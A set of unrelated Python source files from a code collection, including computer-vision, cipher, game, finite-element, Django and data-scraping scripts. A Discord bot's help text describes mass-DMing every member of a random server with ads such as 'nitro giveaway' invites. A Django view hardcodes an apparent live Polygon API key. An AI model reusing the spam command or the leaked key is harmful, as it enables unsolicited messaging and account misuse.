font, 0.5,(255,255,255),1,cv2.LINE_AA)#\n cv2.putText(frame_left,display,(x1-30,y1+14), font, 0.3,(255,255,255),1,cv2.LINE_AA)#\n flag = 1\n number_of_match = 0\n lst_of_mat_row[:] = []\n else:\n break\n #print (\"NO VALUE WAS FOUND\"),\n row1 = 0\n '''if flag == 0:\n print ( \"No common object were found\")\n else:\n print ( \" Object/objects were found\")'''\n\n#************* compare it later************\n#def compare_histogram(frame_left,frame_right,Hval1,Hval2):\n \n\n\n\nleft = 0\nright = 1\ncap1 = cv2.VideoCapture('office_18_left.avi')#(left)#('cutnw_left.avi')\ncap2 = cv2.VideoCapture('office_18_right.avi')#(right)#('cutnw_right.avi')2wqwq\ncam_property = [72 ,0.252] # camera property [ distance b/w camera , focal length]\nflag = 1\nfourcc = cv2.VideoWriter_fourcc(*'MJPG')\nprint_list = [\"Class\" ,\"Comparison (Histogram)\",\" Centroid x1,y1,x2,y2\",\"Ratio of Depth\"]\nfor i in print_list:\n print (i,\"\\t\",end='')\n#out = cv2.VideoWriter('date_18sep_left.avi',fourcc, 5.0, (640,480))\n#out2 = cv2.VideoWriter('date_18sep_right.avi',fourcc,5.0,(640,480))\nwith detection_graph.as_default():\n with tf.Session(graph=detection_graph) as sess:\n while True:\n t1 = cv2.getTickCount()\n ret, frame_left = cap1.read()\n ret, frame_right = cap2.read()\n val1 = newfunction(frame_left)\n val2 = newfunction(frame_right)\n #out.write(frame_left)\n #out2.write(frame_right)\n height,width,_ = frame_left.shape\n cam_property.append(width)# adding width of frame in camera property\n cam_property.append(height)\n classification(val1,val2,cam_property,frame_left,frame_right)\n t2 = cv2.getTickCount()\n print (\" time taken to process data is %f\"%((t2-t1)/cv2.getTickFrequency()))\n cv2.imshow('frame_left',frame_left )# use cv2.resize(frame_left, (800,600))\n cv2.imshow('frame_right',frame_right )\n if cv2.waitKey(25) & 0xFF == 27:\n cv2.destroyAllWindows()\n break\ncap1.release()\ncap2.release()\ncv2.destroyAllWindows()\n","sub_path":"merge_two-graphs_and_test.py","file_name":"merge_two-graphs_and_test.py","file_ext":"py","file_size_in_byte":12535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"116244100","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n'''\nxslx2csv.py\nConverts datasets in xslx format to csv in the given directory\n'''\n\n\n# In[7]:\n\n\nimport os\nimport pandas as pd\n\n\n# In[8]:\n\n\nfile_list = []\nfor file in os.listdir(\"../../data/hsis\"):\n if file.endswith(\".xlsx\"):\n file_list.append(file)\nprint('Found {} target file(s) in the current folder...\\n'.format(len(file_list)))\n\nfile_list = sorted(file_list, reverse=True)\n\n\n# In[15]:\n\n\nattributes = {}\nfor file in file_list:\n curr = pd.read_excel('../../data/hsis/' + file)\n if '17' in file:\n attributes[file.split('.')[0][4:]] = list(curr.columns)\n curr.columns = attributes[file.split('.')[0][4:]]\n curr.to_csv('../../data/hsis-csv/' + file.split('.')[0] + '.csv', index=False)\n print('Finished file: {}'.format(file))\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"crash4viz/dataprep/s1-xlsx2csv.py","file_name":"s1-xlsx2csv.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"289585221","text":"\nplainText = input(\"Enter Plain text\\n\")\nplainTextLength = len(plainText)\n\n\nkeyString = input(\"Enter Key\\n\")\nkeyLength = len(keyString)\n\n\n#--------------------------------Encryption----------------------------\nkeyList = []\n\nfor i in keyString:\n\tkeyList.append(int(i))\nkeyList.sort()\nprint(keyList)\nencryption = \"\"\ndict = {}\n\nappendLength = len(plainText) % keyLength\nprint(keyLength - appendLength)\nfor i in range(keyLength - appendLength):\n\tplainText = plainText + \"#\"\n\nplainTextLength = len(plainText) \nfor i in range(keyLength):\n\tfor j in range(i,plainTextLength,keyLength):\n\t\tencryption = encryption + plainText[j]\t\n\tdict[str(keyList[i])] = encryption\n\tencryption = \"\" \n\nencryptionString = \"\"\t\nfor i in keyString:\n\tencryptionString = encryptionString + dict[i] \n\n\t\nencryptionList = encryptionString.split(\"#\")\nencryptionString = \"\"\nfor i in range(len(encryptionList)):\n\tencryptionString = encryptionString + encryptionList[i] \nprint(encryptionString)\n\nprint(dict)\n\t\n\t\n#---------------------------------------Decryption---------------------------\n\ndecryptionList = []\nlenOfValue = len(dict[str(keyList[0])])\n\n\n\nfor j in range(lenOfValue):\n\tfor i in range(len(dict)):\n\t\tx = dict[str(keyList[i])]\n\t\tdecryptionList.append(x[j])\n\t\n\t\t\ndecryptionString = \"\"\n\nfor i in range(len(decryptionList)):\n\tdecryptionString = decryptionString + decryptionList[i] \n\t\t\ndecryptionString = decryptionString.split(\"#\")\nprint(decryptionString[0])\n\n\n","sub_path":"P-3/Columnar.py","file_name":"Columnar.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"218129355","text":"import discord, json\n\nfrom discord.ext import commands\nfrom colorama import Fore, init\n\ninit(convert=True)\n\nwith open('config.json') as f:\n config = json.load(f)\n\nprefix = config.get('prefix')\ntoken = config.get('token')\n\nPartner = discord.Client()\nPartner = commands.Bot(\n command_prefix=prefix\n)\nPartner.remove_command('help')\n\n@Partner.event\nasync def on_ready():\n print(f\" [{Fore.GREEN}+{Fore.RESET}] Logged in:\")\n print(f'''\n\n {Fore.GREEN}+{Fore.RESET} Username: {Partner.user.name}\n {Fore.GREEN}+{Fore.RESET} ID: {Partner.user.id}\n _______________________________________________________\n ''')\n\ndef CogLoader():\n cogs = [\n 'cogs.partner'\n ]\n for e in cogs:\n Partner.load_extension(e)\n\n@Partner.event\nasync def on_command_error(ctx, error):\n if isinstance(error, discord.ext.commands.errors.CommandOnCooldown):\n await ctx.send(f\"{ctx.author.mention} | This command is on cooldown!\")\n\n@Partner.command()\nasync def help(ctx):\n em = discord.Embed(description=\"JustPartner Bot\")\n em.add_field(\n name=\"`-partner (message)`\", \n value=\"\\n| Usage: *-partner nitro giveaway in (discord invite) at 9pm, make sure to join!*\\n | What this command does: Picks a random server and dms everyone in that random selected server with the specified message\"\n )\n await ctx.send(embed=em)\n\nif __name__ == '__main__':\n CogLoader()\n Partner.run(token)\n","sub_path":"Partner/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"565006680","text":"class Solution(object):\n def removeKdigits(self, num, k):\n \"\"\"\n :type num: str\n :type k: int\n :rtype: str\n \"\"\"\n # Handle the edge cases\n if len(num) == k:\n return \"0\"\n \n if len(num) - num.count(\"0\") <= k:\n return \"0\"\n \n # Remove the first number from left until the order is increasing\n for K in range(k):\n maxi = len(num) - 1\n for i in range(1, len(num)):\n if num[i-1] > num[i]:\n maxi = i-1\n print(maxi)\n break\n \n num = num[:maxi] + num[maxi+1:] \n \n # remove leading zeroes if any\n return num.lstrip(\"0\")\n","sub_path":"402. Remove K Digits/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"512365864","text":"#! /usr/bin/env python\nimport pygame\nfrom pygame.locals import *\nfrom sys import exit\nfrom random import randrange\n\npygame.init()\npygame.font.init()\npygame.mixer.pre_init(44100, 32, 2, 4096)\n\nexplosion_sound = pygame.mixer.Sound('boom.wav')\nexplosion_played = False\n\nfont_name = pygame.font.get_default_font()\ngame_font = pygame.font.SysFont(font_name, 72)\ngame_font2 = pygame.font.SysFont(font_name, 36)\n\nscreen = pygame.display.set_mode((956, 560), 0, 32) # Tamanho da Janela\npygame.display.set_caption('Storm of Emoticons') # Titulo da janela\n\nbackground_filename = 'bg_big.png'\nbackground = pygame.image.load(background_filename).convert_alpha()\nship_filename = 'ship.png'\nship = {\n 'surface': pygame.image.load(ship_filename).convert_alpha(),\n 'position': [480, 480],\n 'speed': {\n 'x': 0,\n 'y': 0\n }\n}\n\nexploded_ship = {\n 'surface': pygame.image.load('ship_exploded.png').convert_alpha(),\n 'position': [],\n 'speed': {\n 'x': 0,\n 'y': 0\n },\n 'rect': Rect(0, 0, 48, 48)\n}\n\nrunner_player = {\n 'surface': pygame.image.load('dude_animation_sheet.png').convert_alpha(),\n 'position': [(360, 340)],\n 'speed': {\n 'x': 0,\n 'y': 0\n },\n 'rect': Rect(0, 0, 48, 48)\n}\n\nclock = pygame.time.Clock()\n\ndef create_asteroid():\n return {\n 'surface': pygame.image.load('asteroid.png').convert_alpha(),\n 'position': [randrange(892), -64],\n 'speed': randrange(1, 11)\n }\n\nticks_to_asteroid = 90\nasteroids = []\n\ndef move_asteroids():\n for asteroid in asteroids:\n asteroid['position'][1] += asteroid['speed']\n\ndef remove_used_asteroids():\n for asteroid in asteroids:\n if asteroid['position'][1] > 560:\n asteroids.remove(asteroid)\n\ndef get_rect(obj):\n return Rect(obj['position'][0],\n obj['position'][1],\n obj['surface'].get_width(),\n obj['surface'].get_height())\n\ndef ship_collided():\n ship_rect = get_rect(ship)\n for asteroid in asteroids:\n if ship_rect.colliderect(get_rect(asteroid)):\n return True\n return False\n\ncollided = False\ncollision_animation_count = 0\npontos = 1\n\nwhile True:\n if not ticks_to_asteroid:\n ticks_to_asteroid = 90\n asteroids.append(create_asteroid())\n else:\n ticks_to_asteroid -= 1\n\n ship['speed'] = {\n 'x' : 0,\n 'y' : 0\n }\n\n for event in pygame.event.get():\n if event.type == QUIT:\n exit()\n\n pressed_keys = pygame.key.get_pressed()\n\n if pressed_keys[K_UP]:\n ship['speed']['y'] = -5\n elif pressed_keys[K_DOWN]:\n ship['speed']['y'] = 5\n\n if pressed_keys[K_LEFT]:\n ship['speed']['x'] = -5\n elif pressed_keys[K_RIGHT]:\n ship['speed']['x'] = 5\n\n screen.blit(background, (0, 0))\n\n if not collided:\n collided = ship_collided()\n ship['position'][0] += ship['speed']['x']\n ship['position'][1] += ship['speed']['y']\n pontos2 = pontos\n pontuac = game_font2.render((\"Pontuacão: \"+ str(pontos2)), 1, (255, 0, 0))\n screen.blit(pontuac, (900, 40))\n screen.blit(ship['surface'], ship['position'])\n else:\n if not explosion_played:\n explosion_played = True\n explosion_sound.play()\n ship['position'][0] += ship['speed']['x']\n ship['position'][1] += ship['speed']['y']\n\n screen.blit(ship['surface'], ship['position'])\n pontuac = game_font.render(str(pontos), 1, (255, 0, 0))\n screen.blit(pontuac, (720, 80))\n elif collision_animation_count == 3:\n text = game_font.render('Game Over', 1, (255, 0, 0))\n text2 = game_font2.render('aperte k para jogar novamente', 1, (255, 0, 0))\n screen.blit(text, (335, 250))\n screen.blit(text2, (280, 300))\n if pressed_keys[K_k]:\n collided = False\n explosion_played = False\n ship['position'][0] = 480\n ship['position'][1] = 480\n asteroids.remove(asteroid)\n pontos = 1\n else:\n exploded_ship['rect'].x = collision_animation_count * 48\n print(exploded_ship['rect'].x)\n exploded_ship['position'] = ship['position']\n screen.blit(exploded_ship['surface'],\n exploded_ship['position'],\n exploded_ship['rect'])\n collision_animation_count += 1\n\n move_asteroids()\n for asteroid in asteroids:\n screen.blit(asteroid['surface'], asteroid['position'])\n\n pontos += 1\n\n pygame.display.update()\n time_passed = clock.tick(30)\n\n remove_used_asteroids()","sub_path":"helloWorld.py","file_name":"helloWorld.py","file_ext":"py","file_size_in_byte":4694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"496374687","text":"from django.http.response import JsonResponse\nfrom rest_framework import status\n\nfrom open_and_close.models import OpenClose\nfrom open_and_close.serializers import OpenCloseSerializer\nfrom rest_framework.decorators import api_view\n\nfrom polygon import RESTClient\nfrom datetime import datetime\n\nimport pandas as pd\n\n\n@api_view(['GET'])\ndef open_and_close_detail_init(request, symbol):\n if request.method == 'GET':\n\n start_date = request.GET.get('from_')\n end_date = request.GET.get('end_')\n\n if end_date is None:\n end_date = datetime.now().strftime('%Y-%m-%d')\n\n dates = pd.bdate_range(start=start_date, end=end_date)\n\n with RESTClient(auth_key='u8arVdihlX_6p_pRuvRUwa94YmI4Zrny') as client:\n\n for date in dates:\n rep = client.stocks_equities_daily_open_close(symbol=symbol, date=date.strftime('%Y-%m-%d'))\n if rep.symbol != '':\n openAndClose = OpenClose(\n tid=rep.from_ + '_' + rep.symbol,\n symbol=symbol,\n tdate=datetime.strptime(rep.from_, '%Y-%m-%d'),\n open=rep.open,\n high=rep.high,\n low=rep.low,\n close=rep.close,\n afterHours=rep.after_hours,\n preMarket=rep.preMarket,\n volumne=rep.volume\n )\n try:\n openAndClose.save()\n except:\n pass\n else:\n pass\n\n return JsonResponse({'message': 'Trading Data Save successfully'}, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef open_and_close_detail(request, symbol):\n if request.method == 'GET':\n open_and_close = OpenClose.objects.all()\n tdate = request.GET.get('tdate')\n\n if symbol is not None:\n open_and_close = open_and_close.filter(symbol__iexact=symbol, tdate__iexact=tdate)\n\n open_and_close_serializer = OpenCloseSerializer(open_and_close, many=True)\n return JsonResponse(open_and_close_serializer.data, safe=False, )","sub_path":"open_and_close/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"39824342","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom imported_modules import *\n\nclass nonLinearSolver(linearSolver):\n \n \"\"\"\n This class is the parent class for non-linear FE analysis. It inherits some members from the \n the linear solver class such as variable initialization (__self__) and \n writeOutput function (:py:meth:`linearSolver.linearSolver._writeOutput`). \t\n\n :solve_NRmethod: the main function of this class that conducts FE analysis with iterative Newton-Raphson method. This function calls other private functions at each iteration.\n\n .. @author: Jalil Nourisa\n\n \"\"\"\n \n def _calculateFKS(self):\n \"\"\"\n This function calculates global structural stiffness, internal force ual force, and stress for \n nonlinear materials with element type of hex according to the formulation explained in :ref:`nonlinearFE`.\n The external function of :py:func:`HyperModels.hyperModel` is used to calculate stress\n and material stiffness.\n\n :DG: deformation gredient matrix\n :BN: strain-displacement stiffness matrix\n :Sigma: 2nd Piola stress tensor\n :TST: tangant stiffness tensor\n :ISST: initial stress stiffness tensor\n :Fint: internal force\n\n \n \"\"\"\n \n mProp = self.hypProp\n nElement = self.nElement\n nDOF = self.nDOF\n nodesXYZ = self.nodesXYZ\n elementConn = self.elementConn\n DispV = self.DispV\n totalDOF= self.totalDOF\n nElNodes = self.nElNodes\n GaussPs = self.GaussPs\n GaussWs = self.GaussWs\n # global stiffness\n K = np.zeros((totalDOF, totalDOF), dtype=np.float)\n # residual force\n Force = np.zeros((totalDOF,1))\n \n\n for ie in range(nElement):\n connNodes=elementConn[ie] #connected nodes\n eXYZ=nodesXYZ[connNodes-1]\n #degrees of freedom for the nodes connected to the element in global coordinates\n gDOF=np.array([((ii)*nDOF+jj) for ii in (connNodes-1) for jj in range(nDOF)])\n \n disp = DispV[gDOF] #displacement in the DOFs of the element\n dispM = np.reshape(disp,(nElNodes,3)) # check again the way of reshaping\n dispM = np.transpose(dispM)\n \n for gpIter in range(nElNodes):\n gPoints = GaussPs[gpIter]\n GWs = GaussWs[gpIter]\n #DFSglobal: derivate of shape function w.r.t x,y,z \n #&& Jdet: determinant of jacobian matrix\n \n [DSFglobal,Jdet]=hexShapeFunc(gPoints,eXYZ) \n \n # deformation gredient\n DG = dispM.dot(np.transpose(DSFglobal)) + np.eye(3) \n # stress and material stiffness\n [Stress,matK] = hyperModel(DG,mProp[0],mProp[1])\n \n BN = np.zeros((6,nElNodes*3)) #strain-displacement stiffness\n BG = np.zeros((9,nElNodes*3))\n for ii in range(nElNodes):\n col = [i+ii*3 for i in range(3)]\n BN[:,col]=np.array([[DSFglobal[0,ii]*DG[0,0],DSFglobal[0,ii]*DG[1,0],DSFglobal[0,ii]*DG[2,0]],\n [DSFglobal[1,ii]*DG[0,1], DSFglobal[1,ii]*DG[1,1],DSFglobal[1,ii]*DG[2,1]],\n [DSFglobal[2,ii]*DG[0,2],DSFglobal[2,ii]*DG[1,2],DSFglobal[2,ii]*DG[2,2]],\n [DSFglobal[0,ii]*DG[0,1]+DSFglobal[1,ii]*DG[0,0],DSFglobal[0,ii]*DG[1,1]+DSFglobal[1,ii]*DG[1,0],DSFglobal[0,ii]*DG[2,1]+DSFglobal[1,ii]*DG[2,0]],\n [DSFglobal[1,ii]*DG[0,2]+DSFglobal[2,ii]*DG[0,1],DSFglobal[1,ii]*DG[1,2]+DSFglobal[2,ii]*DG[1,1],DSFglobal[1,ii]*DG[2,2]+DSFglobal[2,ii]*DG[2,1]],\n [DSFglobal[0,ii]*DG[0,2]+DSFglobal[2,ii]*DG[0,0],DSFglobal[0,ii]*DG[1,2]+DSFglobal[2,ii]*DG[1,0],DSFglobal[0,ii]*DG[2,2]+DSFglobal[2,ii]*DG[2,0]]]);\n \n BG[:,col]=np.array([[DSFglobal[0,ii], 0, 0],\n [DSFglobal[1,ii], 0, 0],\n [DSFglobal[2,ii], 0, 0],\n [0, DSFglobal[0,ii], 0],\n [0, DSFglobal[1,ii], 0],\n [0, DSFglobal[2,ii], 0],\n [0, 0, DSFglobal[0,ii]],\n [0, 0, DSFglobal[1,ii]],\n [0, 0, DSFglobal[2,ii]]])\n \n # updating residual force\n GWJ = np.prod(GWs)*Jdet\n # adding internal force to force vector\n Fint = GWJ*np.transpose(BN).dot(Stress)\n Force[gDOF] -= Fint\n \n Stress = [Stress[i][0] for i in range(len(Stress))]\n \n self.sigmaHist[ie][gpIter] = Stress #saving stress\n \n Sigma = np.array([[Stress[0],Stress[3],Stress[5]],\n [Stress[3],Stress[1],Stress[4]],\n [Stress[5],Stress[4],Stress[2]]])\n \n eSigma = np.zeros((9,9))\n eSigma[0:3,0:3] = Sigma\n eSigma[3:6,3:6] = Sigma\n eSigma[6:,6:] = Sigma\n \n BK = np.transpose(BN).dot(matK)\n TST = GWJ*BK.dot(BN) # tangent stiffness tensor\n \n BSh = np.transpose(BG).dot(eSigma)\n ISST = GWJ*BSh.dot(BG) # initial stress stiffness tensor\n \n \n # adding stiffness of the element in the particular gauss point to the global K\n K[gDOF[:,np.newaxis],gDOF]+= TST + ISST \n self.Force = Force\n self.K = K\n \n def _applyBC(self,ITER):\n mProp = self.elProp\n nDOF = self.nDOF\n pDisp = self.pDisp\n \n pDOF = np.array((pDisp[:,0]-1)*nDOF + pDisp[:,1]-1,np.int) # prescribed DOFs\n self.K[pDOF[:,np.newaxis]]=0 \n self.K[pDOF,pDOF] = 1\n self.Force[pDOF]=0\n \n if ITER ==1:\n self.Force[pDOF] = 1*pDisp[:,2,np.newaxis]\n \n def _updateForce(self):\n '''\n Calculating residual force by adding the external force to the internal force calculated before.\n ''' \n extForce = self.extForce\n nDOF = self.nDOF\n \n if (len(extForce)):\n # determining the DOFs to which external load applies \n eFDOFs = np.array((extForce[:,0]-1)*nDOF + extForce[:,1]-1,np.int)\n # calculating the residual force\n self.Force[eFDOFs] += extForce [:,2,np.newaxis]\n \n def _checkConvergence(self,ITER,RFtol_min,RFtol_max,ITER_max):\n '''\n This function evaluates the convergence by checking the amount\n of residual force with the given thresholds as well as controling the number \n of iteration.\n\n Inputs\n\n :ITER: the number of current iteration\n :RFtol_min: the minimum allowable tolerance for the residual force \n :RFtol_max: the maximum allowable tolerance for the residual force \n :ITER_max: the maximum number of iteration allowed before job abortion\n\n '''\n totalDOF = self.totalDOF\n Force = self.Force\n pDisp = self.pDisp\n nDOF = self.nDOF\n \n pDOF = np.array((pDisp[:,0]-1)*nDOF + pDisp[:,1]-1,np.int) # prescribed DOFs\n if (ITER > 1):\n DOFs = np.arange(totalDOF)\n freeDOFs = np.delete(DOFs,pDOF)\n absForce = np.absolute(Force[freeDOFs])\n resMax=np.amax(absForce) #residual \n \n if resMax < RFtol_min:\n return (False,'Completed')\n if resMax > RFtol_max or ITER > ITER_max:\n return (False,'Aborted')\n \n def _calculateU(self): \n deltaU,_,_,_ = np.linalg.lstsq(self.K,self.Force,rcond=None)\n self.DispV += deltaU\n def solve_NRmethod(self,): \n \n solveParams=self.solveParams\n\n RFtol_min = solveParams[0] #considered residual force tolerance\n RFtol_max = solveParams[1] #maximum allowed residual force, in order to detect divergence\n ITER_max = solveParams[2] #maximum allowed iteration for convergence\n ITER = 0 # number of iteration\n self._writeOutput(status='start')\n while True:\n ITER+=1 \n \n # calculating pre-residual force and global stiffness\n self._calculateFKS()\n \n self._updateForce() #update force by adding external force\n # applying boundary conditions \n self._applyBC(ITER)\n # write outputs\n self._writeOutput(status='solve',ITER=ITER)\n # check convergence \n convOut = self._checkConvergence(ITER,RFtol_min,RFtol_max,ITER_max)\n \n if convOut:\n flag = convOut[0]\n message = convOut[1]\n if ~flag:\n if message == 'Completed':\n print('Job is completed')\n self._writeOutput(status='completed')\n break\n if message == 'Aborted':\n print('Job is aborted')\n self._writeOutput(status='aborted')\n break\n # calculate new displacement\n self._calculateU()\n \n","sub_path":"nonLinearSolver.py","file_name":"nonLinearSolver.py","file_ext":"py","file_size_in_byte":9642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"531241929","text":"from Items import HumanParts\nimport math\nclass Character:\n def __init__(self, name, strength, dexterity, intelligence):\n # Attributes\n self.name = name\n self.strength = strength\n self.dexterity = dexterity\n self.intelligence = intelligence\n\n # Stats\n self.health = self.strength\n self.stamina = self.dexterity\n self.mana = self.intelligence\n\n # Anatomy\n self.right_hand = HumanParts(\"barehand\")\n self.left_hand = HumanParts(\"barehand\")\n self.torso = HumanParts(\"baretorso\")\n\n # Damage - Armor Total\n self.damage_total = int(self.right_hand.damage_bonus + math.floor(self.strength * 0.03))\n self.armor = int(self.torso.armor_bonus + self.left_hand.armor_bonus)\n\n # Situation\n if self.health > 0:\n self.is_alive = True\n if self.health <= 0:\n self.is_alive = False\n\n\n def __repr__(self):\n return \"Known as {}\\nHealth: {} Mana: {}\\nStrength: {} Dexterity: {} Intelligence: {}\\nArmor: {}\".format(self.name,\n self.health, self.mana, self.strength, self.dexterity, self.intelligence, self.armor)\n\n def take_damage(self, damage):\n if self.is_alive:\n print(\"Already Dead!\")\n else:\n self.health -= damage\n\n\n def inventory_info(self):\n print(\"Sag el: {}\\nSol el: {}\\nGovde: {}\".format(self.right_hand, self.left_hand, self.torso))","sub_path":"Character.py","file_name":"Character.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"586291927","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 15 22:37:46 2020\n\n@author: j.destefano\n\"\"\"\n\n# This code is used to extract Tc and Debye temperatures from a list of \n#compounds in the MPDS database. It created an average for compound entries\n#with more than 1 result for Tc and Debye and saves the respective arrays in\n#excel sheets. An important function of sleep time is used to prevent the \n#dabase from being overloaded and give it 1 second before feeding in the \n#nect query. \nfrom mpds_client import MPDSDataRetrieval\nimport numpy as np\nimport statistics\nimport time\nimport pandas as pd\nfrom pandas import ExcelWriter\nclient = MPDSDataRetrieval(\"API KEY\")\n\nimport xlrd\n# this snippet imports the spreadsheet into Python\nworkbook = xlrd.open_workbook('Bulk Moduli Data.xlsx')\nsheet = workbook.sheet_by_name('Sheet1')\ncompound_list = [[sheet.cell_value(r, c) for c in range(sheet.ncols)] for r in range(sheet.nrows)]\n\nentries = len(compound_list)\n\n# this redefinition of compound is because I want a list, not a list of lists\ncompound = []\nentries = len(compound_list)\nfor x in range(0, entries):\n compound.append(compound_list[x][0])\n\n# this initializes the arrays\nspace_group = []\ndebye = []\ntc = []\ndebye_check = []\ntc_check = []\ndictionary = {\"props\": \"Debye temperature\", \"classes\": \"peer-reviewed\"}\n\nfor y in range(0, entries):\n # this command updates the dictionary with the new compound each time through the loop\n time.sleep(1)\n dictionary.update([('formulae', compound[y])])\n # I used a try command here just in case there was an issue with my list of compounds and one of them didn't have a listed Debye temperature\n try:\n # adds the space group from each entry to a list\n database = client.get_data(dictionary)\n hits = len(database)\n space_group.append(database[0][2])\n cur_debye = []\n for z in range(0,hits):\n # THIS LINE IS IMPORTANT: if you don't check that the fourth positiion is what you're looking for, you may get weird results. In this case, without this line I was stripping both Debye and Einstein temperatueres\n if database[z][4] == 'Debye temperature':\n cur_debye.append(database[z][6])\n debye_entries = len(cur_debye)\n # this if statement just allows the skipping of getting the average is there is only one compound\n if debye_entries == 1:\n debye.append(database[z][6])\n debye_check.append(' ')\n else:\n debye_average = statistics.mean(cur_debye)\n debye_high = max(cur_debye)\n debye_low = min(cur_debye)\n debye_std = statistics.stdev(cur_debye)\n formula = debye_std/debye_average\n debye.append(\"%g entries from %g - %g. Average of %g\" % (debye_entries, debye_low, debye_high, debye_average))\n debye_check.append(formula)\n except:\n debye.append(\"No Debye T\")\n debye_check.append(\"Ignore this entry\")\n \ndictionary = {\"props\": \"superconducting transition temperature\", \"classes\": \"peer-reviewed\"}\n'''\n# this entiere for loop just redoes what happened with the Debye temperature, but with the critical temperature\nfor a in range(0, entries):\n time.sleep(0.1)\n dictionary.update([('formulae', compound[a])])\n # this try is due to the fact that I started search with Debye temperatures, so not all will have a Tc listed\n try:\n database = client.get_data(dictionary)\n hits = len(database)\n cur_tc = []\n for b in range(0,hits):\n if database[b][4] == 'superconducting transition temperature':\n cur_tc.append(database[b][6])\n tc_entries = len(cur_tc)\n if tc_entries == 1:\n tc.append(database[b][6])\n tc_check.append(' ')\n else:\n tc_average = statistics.mean(cur_tc)\n tc_high = max(cur_tc)\n tc_low = min(cur_tc)\n tc_std = statistics.stdev(cur_tc)\n formula = tc_std/tc_average\n tc.append(\"%g entries from %g - %g. Average of %g\" % (tc_entries, tc_low, tc_high, tc_average))\n tc_check.append(formula)\n except:\n tc.append(\"No Tc\")\n tc_check.append(\"Ignore this entry\")\n ''' \n# I turned all of these into arrays so I could concatonate them and export to a spreadsheet easily \ncompound_array = np.array(compound)\nspace_group_array = np.array(space_group)\n#tc_array = np.array(tc)\n#tc_check_array = np.array(tc_check)\ndebye_array = np.array(debye)\ndebye_check_array = np.array(debye_check)\n\n#result = np.c_[compound_array, space_group_array, tc_array, tc_check_array, debye_array, debye_check_array]\n\ndf = pd.DataFrame({'Debye':debye_array})\n#df = pd.DataFrame({'Tc':tc_array})\nwriter = ExcelWriter('Bulk Moduli Data.xlsx')\ndf.to_excel(writer,'Sheet1',index=False)\nwriter.save()\n\n#print(tc_array)\nprint(debye_array)\n","sub_path":"TcandDebye_MPDS.py","file_name":"TcandDebye_MPDS.py","file_ext":"py","file_size_in_byte":4883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"579703571","text":"from django.contrib import admin\nfrom analyses.models import Analysis, Computation\n\n# Register your models here.\n@admin.register(Analysis)\nclass AnalysisAdmin(admin.ModelAdmin):\n list_display = [\n 'id',\n 'name',\n 'user',\n 'created_at',\n 'updated_at',\n ]\n \n list_display_links = [\n 'id',\n 'name',\n ]\n\n readonly_fields = (\n 'id',\n 'created_at',\n 'updated_at',\n )\n \n raw_id_fields = ('user',)\n\n search_fields = [\n 'id',\n 'user__id',\n 'name',\n ]\n\n\n@admin.register(Computation)\nclass ComputationAdmin(admin.ModelAdmin):\n list_display = [\n 'id',\n 'name',\n 'state',\n 'analysis',\n 'created_at',\n 'updated_at',\n 'finished_at',\n ]\n\n list_display_links = [\n 'id',\n 'name',\n ]\n\n readonly_fields = (\n 'id',\n 'created_at',\n 'updated_at',\n )\n \n raw_id_fields = ('analysis',)\n\n search_fields = [\n 'id',\n 'analysis__id',\n 'name',\n ]\n\n list_filter = [\n 'state',\n ]","sub_path":"krmozejko/training_app/analyses/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"536544791","text":"# -*- coding: utf-8 -*-\n\ndb = DAL('sqlite://storage.sqlite')\n\nresponse.generic_patterns = ['*'] if request.is_local else []\n\n\ndef trans(**texts):\n if T.accepted_language in texts:\n return texts[T.accepted_language]\n else:\n return texts['en'] if 'en' in texts else ''\n\ninfo_products = dict(\n web2py_plugins=dict(\n label='web2py-plugins',\n description=XML(trans(en=\"\"\"A collection of plugins of %s, an opensource Python web framework.\nHere we love to share useful code parts produced by our development with the framework.\nThe code parts are organized in %s, and easily available.\"\"\",\n ja=\"\"\"オープンソースのPythonウェブ・フレームワーク %s のプラグイン集です。\nここでは、このフレームワークによる開発で生み出された有用なコード部品を共有したいと思います。\nコード部品は %s に基づいて整理されいて、簡単に利用可能です。\n\"\"\") % (\n A('Web2py', _href='http://www.web2py.com').xml(),\n A(T(\"a web2py's plugin system\"), _href='http://web2py.com/book/default/chapter/13#Plugins').xml())),\n link=URL('web2py_plugins', 'index'),\n link_label=T('See Demo'),\n image='web2py_plugins.jpg',\n ),\n akamon=dict(\n label='AKAMON',\n description=trans(ja=\"\"\"新感覚CMS製品パッケージです。\"\"\"),\n link='http://aka-mon.jp/',\n link_label='紹介ページ',\n image='akamon.gif',\n ),\n ec_orange_cms=dict(\n label='EC-Orange CMS',\n description=trans(ja=\"\"\"ECサイト特化型CMSです。\"\"\"),\n link='http://ec-cube.ec-orange.jp/lineup/cms/',\n link_label='紹介ページ',\n image='ec_orange_cms.gif',\n ),\n ec_orange_pos=dict(\n label='EC-Orange POS',\n description=trans(ja=\"\"\"ECサイト連動型POSです。\"\"\"),\n 